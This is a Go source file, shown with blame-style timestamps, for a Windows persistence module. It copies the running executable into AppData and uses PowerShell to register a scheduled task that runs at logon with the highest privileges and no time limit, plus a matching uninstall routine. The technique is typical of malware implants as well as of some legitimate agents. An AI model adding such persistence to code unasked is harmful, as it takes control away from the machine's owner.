2026-03-21 02:12:35 -05:00
|
|
|
//go:build windows && persist_taskscheduler
|
|
|
|
|
// +build windows,persist_taskscheduler
|
|
|
|
|
|
|
|
|
|
package persistence
|
|
|
|
|
|
|
|
|
|
import (
|
|
|
|
|
"fmt"
|
2026-03-26 11:05:04 -05:00
|
|
|
"os"
|
|
|
|
|
"path/filepath"
|
2026-03-21 02:12:35 -05:00
|
|
|
"strings"
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
func init() {
|
2026-03-26 11:05:04 -05:00
|
|
|
persistInstallFns = append(persistInstallFns, installTaskSchedulerFull)
|
2026-03-21 02:12:35 -05:00
|
|
|
persistUninstallFns = append(persistUninstallFns, uninstallTaskScheduler)
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-26 11:05:04 -05:00
|
|
|
func installTaskSchedulerFull(exePath string) error {
|
|
|
|
|
targetPath, err := getAppDataTargetPath()
|
|
|
|
|
if err != nil {
|
|
|
|
|
return err
|
|
|
|
|
}
|
|
|
|
|
dir := filepath.Dir(targetPath)
|
|
|
|
|
if err := os.MkdirAll(dir, 0755); err != nil {
|
|
|
|
|
return fmt.Errorf("failed to create directory: %w", err)
|
|
|
|
|
}
|
|
|
|
|
if !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
|
|
|
|
|
if err := replaceExecutable(exePath, targetPath); err != nil {
|
|
|
|
|
return err
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
return installTaskScheduler(targetPath)
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-21 02:12:35 -05:00
|
|
|
func installTaskScheduler(targetPath string) error {
|
|
|
|
|
taskName := deriveTaskName(targetPath)
|
|
|
|
|
safe := strings.ReplaceAll(targetPath, "'", "''")
|
|
|
|
|
script := fmt.Sprintf(
|
|
|
|
|
`$a = New-ScheduledTaskAction -Execute '%s'; `+
|
|
|
|
|
`$t = New-ScheduledTaskTrigger -AtLogOn; `+
|
|
|
|
|
`$s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; `+
|
2026-03-24 21:14:58 -05:00
|
|
|
`$p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; `+
|
|
|
|
|
`Register-ScheduledTask -TaskName '%s' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null`,
|
2026-03-21 02:12:35 -05:00
|
|
|
safe, taskName)
|
|
|
|
|
return runPowerShell(script)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func uninstallTaskScheduler() error {
|
2026-03-21 03:06:35 -05:00
|
|
|
prefix := executablePrefix()
|
2026-03-21 02:12:35 -05:00
|
|
|
return runPowerShell(
|
|
|
|
|
`Get-ScheduledTask -ErrorAction SilentlyContinue | ` +
|
2026-03-21 03:06:35 -05:00
|
|
|
`Where-Object { $_.TaskName -like '` + prefix + `*' } | ` +
|
2026-03-21 02:12:35 -05:00
|
|
|
`Unregister-ScheduledTask -Confirm:$false -ErrorAction SilentlyContinue`)
|
|
|
|
|
}
|